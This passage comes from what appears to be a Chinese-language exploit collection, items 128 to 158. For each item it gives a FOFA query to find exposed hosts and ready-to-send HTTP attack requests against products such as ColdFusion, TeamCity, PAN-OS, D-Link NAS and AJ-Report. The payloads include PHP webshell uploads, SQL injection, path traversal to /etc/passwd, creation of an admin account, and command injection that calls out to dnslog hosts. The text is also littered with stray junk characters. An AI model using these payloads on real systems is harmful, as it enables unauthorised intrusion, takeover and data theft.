------WebKitFormBoundaryJGgV5l5ta05yAIe0
. l* X) R& w! C5 c* n1 B0 _7 cContent-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
) Y$ j5 I  J/ F/ P; R<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
7 k2 L% {9 N! I5 T% U>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
# S& e1 ?& ~, K5 _( G& c/ V. [

' @* o0 c; [( k8 K) D7 b/ R
$ O0 E, x7 i' l9 Z- [# V128. Adobe ColdFusion 反序列化
: Y/ K( g1 A8 c0 h( wCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
0 N- ]; b' X6 {4 B
129. Adobe ColdFusion 任意文件读取
# l) K3 Z" J0 B& Y( f, t& ], QCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
3 @) J0 E8 m7 D4 NHost: x.x.x.x
" Y1 j2 z) l2 v# Z( b- dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
3 i7 ~, ?) q, E. e( yAccept-Encoding: gzip, deflate
Connection: close
& r; e; B8 t  d: Q! Q: b

第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) r6 i9 z, E/ y- q  m  g& U1 hAccept: */*
/ v4 ~' Y: U' k' fAccept-Encoding: gzip, deflate
- S4 w# g, r% bConnection: close
8 x. T. {1 Q* P. f) [2 U8 Euuid: 85f60018-a654-4410-a783-f81cbd5000b9
& P2 }' X4 ~+ X) _

# W) g; X. ]4 v6 C2 U8 b130. Laykefu客服系统任意文件上传
4 c$ g4 V2 P0 ^6 NFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
& Z; y! }: q/ G0 q% MHost: 127.0.0.1
$ w, ^# s3 L( P- I$ z5 nAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
( g2 k2 h* s4 R% v$ ]: J3 }: u& qContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
. H+ a9 {) D. V' W; {- XAccept-Encoding: gzip, deflate
+ T( b1 o( m6 Q' v5 Z  E6 O6 |0 ?+ g+ zAccept-Language: zh-CN,zh;q=0.9
% d: w( ?6 K( D* ECookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

* Y* v/ ~9 P* ^. U# x; X  S$ b7 P<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
+ m$ s( @3 q' _& R
. W9 w2 [0 ~& H1 W9 M2 K: H3 R0 ~
2 c$ l9 R# b+ |, j8 _( K' Q131. Mini-Tmall <=20231017 SQL注入
' Y' D- n+ H5 o: ?1 j6 {! WFOFA：icon_hash="-2087517259"
8 D. t6 ?& h4 l后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
( |5 B/ o9 ~/ P7 f3 O9 K: B9 mCVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 R& ~8 c9 O3 GAccept: */*
, o7 x6 R- E# x2 M* ZContent-Type: application/json
Accept-Encoding: gzip, deflate

" K- M  x! R+ z& s6 u* P# l0 q; o{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
/ K( C2 J% ]2 _
0 {' l% a# v" P9 o% W. K. b) L6 L2 ]
CVE-2024-27199
/res/../admin/diagnostic.jsp
5 v0 R1 @5 t# K6 `) E/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
1 }) ~& n3 W& p6 \1 u  G6 W

0 Q+ |! o* }* a6 `1 t$ h( ~CVE-2024-27198-RCE.py
* R5 r8 Z' s+ y
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
& y* E. t7 f( h2 Y/ mPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
3 Q, N5 O/ _2 x8 B$ dContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

) v( H. j* Y0 S8 e2 ?) g" u& T. L------WebKitFormBoundaryFQqYtrIWb8iBxUCx
* j) r9 p& n! tContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
) X) b6 m# O" J' M: [5 b9 T5 x
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
9 U5 l+ ]/ ^$ K* f; l
0 o8 K3 j5 N2 X5 m3 W5 E
& {) I: a8 V3 H
$ S( Z7 M* H# t4 Y9 B, E134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
# n/ |3 M* o) g" p' ZFOFA：app="网康科技-NS-ASG安全网关"
7 v0 m* b2 ]9 \2 Q1 {2 ~POST /protocol/index.php HTTP/1.1
; |7 f1 I( h2 i" jHost: x.x.x.x
+ I  E8 x. X3 `0 \) cCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
  m) C. {7 L# O/ m4 x4 FAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& t4 K) t* [  _Accept-Encoding: gzip, deflate
, L" B1 Z! G% A7 {6 e" d! tSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
+ s# L4 @4 C$ b6 S  Q2 U/ |Sec-Fetch-Site: same-origin
Te: trailers
! _7 _7 k5 P- @! lConnection: close
Content-Type: application/x-www-form-urlencoded
- p; G0 V/ W0 `0 e5 }Content-Length: 263
& I0 F8 o! s4 F0 Y
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

" o1 y; n/ `, D) r
8 R" I0 O6 K' D' r135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
. d, Z+ f2 \2 d; }0 o. w( ]Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
" `. N# Y3 r" k  ^# ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 X8 Y0 T3 m8 K$ J% yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 `2 g5 A: Q6 K. tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
$ S# b7 P4 X- G# z( U. O9 i" ~: ]

136. NextChat cors SSRF
CVE-2023-49785
4 b& R: p9 u; F2 l1 v: i$ s6 VFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
3 G5 q) n4 |8 \: Q! V+ F- A. t8 Z  zHost: x.x.x.x:10000
. D! k% C; z0 Q) H, SUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
$ I5 i# f$ |6 u! ?+ ?* @! YAccept-Language: en
! M2 M. z5 Y# C0 AAccept-Encoding: gzip


$ V3 v0 _; G  S137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
; O9 Y" A. u2 y% I# fFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
( W1 P) A/ ^. e; l$ w! J, ~GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
' z/ J' F$ e; O# g4 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
1 ]% E. r( N3 m+ g' B3 r7 `! KConnection: close
+ ?- G9 ^% g& _( z/ {Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
5 H* i6 F( s* O) Y, O( o9 |! s. HFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
- w. x: a: Y3 z: R3 }4 v8 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 U& `) D" o2 O. r; ^  Z. zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; C% {/ \- n: r$ t" wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 D' Q5 S% c+ `Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
! [; A, {# x9 _8 J2 `4 p2 h. H
( r0 G) r! {! {
$ b- B0 i5 {' K5 f: b139. 福建科立讯通信指挥调度平台editemedia.php sql注入
6 ~6 R) e  N4 B5 ~0 ^4 j3 oCVE-2024-2622
/ W. V- X2 ~$ L. H4 S$ e1 WFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
+ k! X8 R1 p  s+ x; @7 XGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
( [/ [, C/ Z; ^. z( gHost: x.x.x.x
# g# ^5 \# y0 S+ }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
- S: U$ F1 O$ s" O- P3 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( o4 h/ x# E& rAccept-Encoding: gzip, deflate, br
Connection: close
5 c2 S- G/ A; U7 }- |1 H. MCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
* G3 a# q6 N2 D7 }Upgrade-Insecure-Requests: 1
8 e$ S3 e; C! S9 g
! v% r) G5 |5 e" v7 c# p8 t4 k- o
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
  D$ d0 t( ?! v& Z; N5 nFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 G2 c' I1 ~& z! L/ C! bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 b( r4 Z2 i3 P& k+ ]1 _1 ~2 wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ }" E- c2 q0 r0 wAccept-Encoding: gzip, deflate, br
6 A5 a; v  _4 c4 u) jConnection: close
$ h( ?6 t9 w2 Q& `Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
- D- ]& e/ `) e  k2 [FOFA：body="指挥调度管理平台"
. E7 V! V* F. `/ }4 v: ?POST /app/ext/ajax_users.php HTTP/1.1
3 |# V8 k# U4 O! M+ yHost: your-ip
4 }4 ]. c* Q' T5 G# \( N8 C( wUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded

! q/ W0 u( b6 j- I
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
3 M! V& A: y, l! S8 f
! T$ r9 h9 q! ?) y& A
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
) t, k+ @5 U9 c! @4 O" X# b, xFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
: }5 N, \& U3 H3 \9 Y( _' GPAYLOAD
, |/ S+ k( e* c$ P. O& J" d
144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
4 L  G8 _5 f% S! B/ f% n/ K8 z' @2 gsystem参数用于传要执行的命令
6 ?* E4 h; }# R) v6 k) qGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
% u8 N8 S6 S/ ?- FUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
/ n+ E6 a  g2 j9 o/ T# ~Accept-Encoding: gzip
6 u2 U) ~. ?- j1 @) W3 h/ B0 [! }

: F$ O$ _% N7 I: ~6 s7 g145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
/ I8 I/ b$ j2 Z% [) J' M, wCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
2 [+ e6 ?3 K" UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
+ x  _# i% A* wConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
% ~2 I$ C0 o5 c# g. `! [

9 e* p$ Q% @: D8 R146. MajorDoMo thumb.php 未授权远程代码执行
( P9 F# R  a1 Q! wCNVD-2024-02175
/ b6 e  Q$ B: H% UFOFA：app="MajordomoSL"
5 ~% r$ D, F' l+ ?GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
% f, Y+ ?! \! m# h, |Host: x.x.x.x
' v8 l1 k' l/ ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
, `8 U  b6 }$ A+ h" OAccept-Encoding: gzip, deflate
4 ]8 U, q, E( W, l# hConnection: close
/ U, u+ J- i( R/ o1 S0 J3 B% O

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
( _4 N* M& g) o3 k3 ECVE-2024-32399
FOFA：body="RaidenMAILD"
$ M  q' c0 y, P( L; U* L( MGET /webeditor/../../../windows/win.ini HTTP/1.1
; W, _% [; P8 T$ O) W1 _Host: 127.0.0.1:81
0 k1 I+ O# ~4 l: ECache-Control: max-age=0
2 T6 i) @  C" L2 }$ C# ]( u; b  g1 G8 e' DConnection: close
7 K8 Z/ G$ H$ E0 k' Q" X' V8 e
4 C3 p! p/ ^1 {; e2 ~  P
148. CrushFTP 认证绕过模板注入
% Z: \/ t5 Y6 U0 YCVE-2024-4040
7 D6 G2 Q" e6 [# p( x# d/ L# FFOFA：body="CrushFTP"
* ^4 S. N8 {! ]! IPAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
) S; t' E% ?* L6 D! t- hFOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
: S' K9 Q, ^, s1 A% {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" K* b  b; s5 K3 o2 X& U, g) YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 E" e# l4 `7 a3 P+ b: v1 X! i- LAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
. }( [% j9 \! V: Y+ DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ y8 r' @2 ]8 E# r, A8 I! Q( NAccept-Encoding: gzip, deflate, br
% _  K2 @1 ^& Z6 `6 mAccept-Language: zh-CN,zh;q=0.9
/ \, j5 e2 x/ b$ p. C7 l0 aContent-Type: application/json;charset=UTF-8
8 \  R/ t$ `; A; H7 K5 t. u9 q2 {Connection: close
Content-Length: 339
  f6 a7 T6 ~% b3 l
# e/ m& S! E- s* d2 m" c9 `{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

; g+ `3 q3 y7 H- N
2 P  y0 k( T& ]( A. R151. AJ-Report 1.4.1 pageList sql注入
  y+ d8 @. a* \: X# V' WFOFA：title="AJ-Report"
- l, t1 X8 t+ U: c7 z' ^GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
9 `, R+ C2 Q: I3 m9 b" W( fHost: x.x.x.x
% J, D0 L3 {9 C& vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 b/ Z3 D9 L$ Z  `! H3 {: X  GAccept-Encoding: gzip
2 ?7 |* h9 Q1 T

152. Progress Kemp LoadMaster 远程命令执行
, l2 R$ T2 B- S; o6 b$ PCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
7 L; _5 Y; e; p& H6 s  n2 jGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
, g# P1 f. V( i& a- }: y+ y; s3 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
- Q7 w5 p  x: Y7 I/ lAccept: */*
# [2 x( w% G* s$ PAccept-Language: en
4 S. b; T) g; E% l8 D- zAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


153. gradio任意文件读取
- R- o& B7 F) u1 M- V5 O/ `CVE-2024-1561FOFA：body="__gradio_mode__"
- s' E* b3 P, K3 C第一步，请求/config文件获取componets的id
http://x.x.x.x/config
. \1 y1 _' m+ _, T* u1 v

, L6 S1 `9 c1 `4 J0 ?第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
: N! K5 c8 H+ V8 n. ^4 }Content-Length: 115
: l4 G$ t( J2 E) {) e" oContent-Type: application/json
Accept-Encoding: gzip
& ?2 j4 m0 Q" Q8 r& h
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
9 N7 S- k  Y' S- s9 D$ b

第三步访问
* s! h6 I6 h; n' I; f) c! Rhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

2 q5 v+ z1 F+ o: W- U
154. 天维尔消防救援作战调度平台 SQL注入
' v% c$ u5 M+ h& |: dCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
4 ]- ^, ^. L" M. LPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
6 {6 p. M- u6 Q) g4 \& U, b- f- LHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
/ E$ Q$ I5 l8 B. z6 D% J" ]Upgrade-Insecure-Requests: 1
5 x- n1 J; |' bOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
  z! r% \& r6 J$ J8 U- }+ vConnection: close

1 A2 ~$ \, r' _+ M4 M( _: l  v{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

8 I( Y) I) d3 B+ }
: ~2 i+ W" \/ C1 r$ G; v7 ]155. 六零导航页 file.php 任意文件上传
) ?  i) R# O* s) O" DCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
' c8 L8 {) a  i. m5 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
) w3 n5 M9 u( R# g/ A& ?- SAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  r" _$ O, d) U: x+ q, X0 T$ uContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
8 g0 F0 G( {6 j7 D2 wX-Requested-With: XMLHttpRequest
" J1 P; l1 a6 N" N- _) F0 x
-----------------------------qttl7vemrsold314zg0f
# k5 K) a! j2 J; e' j- I" H1 SContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

) B& I) S! U+ Q  A<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
- I; a: a& |8 s7 I/ J
7 T' ?+ P+ j& {% N% p! {
# R4 s+ {0 S) J1 @访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
& j6 u6 j$ K# M! J·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

$ R7 F9 P- k8 S" M
8 T& G' W4 T9 Q# r# X8 F3 b% jPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
9 s2 n0 {/ P( F$ j/ SHost: x.x.x.x
* ]4 t5 m' L- d( ^. f, E6 ]User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 j# t/ s( V7 ]& Y/ [: y! O4 BConnection: close
Content-Length: 0
0 u* V, _. F' u7 E! @Cookie: uid=1
Accept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
; T5 g; f$ V- C' e, Z6 |CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
9 n' @) P+ O* c. c+ d; rPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
' m3 f3 h; A, Z! N! d( RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
: A1 i8 ?* L- WContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
$ o" A/ I* ^0 C5 M' c  y8 U) u2 ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
3 R! K/ D& i1 W6 XUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
( X; \8 s, w6 |  [3 iContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
) Y+ {- G# M9 XContent-Type: application/octet-stream
& L0 {$ S8 w. r4 Q1 @
# }  x9 |4 p0 _) z" U2 q) e2 I4 Z5 znyhelxrutzwhrsvsrafb
+ D2 g, `$ Y  q------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
+ q1 u9 u9 O0 q, K' LContent-Disposition: form-data; name="form"
6 d: U1 N2 D8 D7 G- Z  V
null
! \; e$ l' g, [6 K7 T------WebKitFormBoundary1imovELzPsfzp5dN
& X" d" J/ R' P1 \8 ^! o* i6 uContent-Disposition: form-data; name="field"
" d9 h, e3 N& D( }& i
: z% `8 S- k% r2 n3 Inull
6 a4 |+ \7 O+ [3 r# p8 r1 r* Q1 H+ m------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
3 [0 o& o" ^5 P/ N+ J$ {# }
1 Z7 j: L- m! p3 l# f4 ^null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--
3 G  w/ B# b0 C3 [: U8 k$ q& g  Q

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

( b$ v7 h4 b6 P158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
+ |5 Q% A* x; t% i* aPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
